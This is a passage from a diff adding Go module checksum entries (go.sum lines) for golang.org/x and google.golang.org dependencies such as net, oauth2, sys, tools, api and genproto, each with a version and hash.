h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.5.0 h1:HuArIo48skDwlrvM3sEdHXElYslAMsf3KwRkkW4MC4s= +golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= +golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= +golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= +google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= +google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= +google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= +google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= +google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= +google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= +google.golang.org/api v0.110.0 h1:l+rh0KYUooe9JGbGVx71tbFo4SMbMTXK3I3ia2QSEeU= +google.golang.org/api v0.110.0/go.mod h1:7FC4Vvx1Mooxh8C5HWjzZHcavuS2f6pmJpZx60ca7iI= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= +google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= +google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= +google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= +google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod 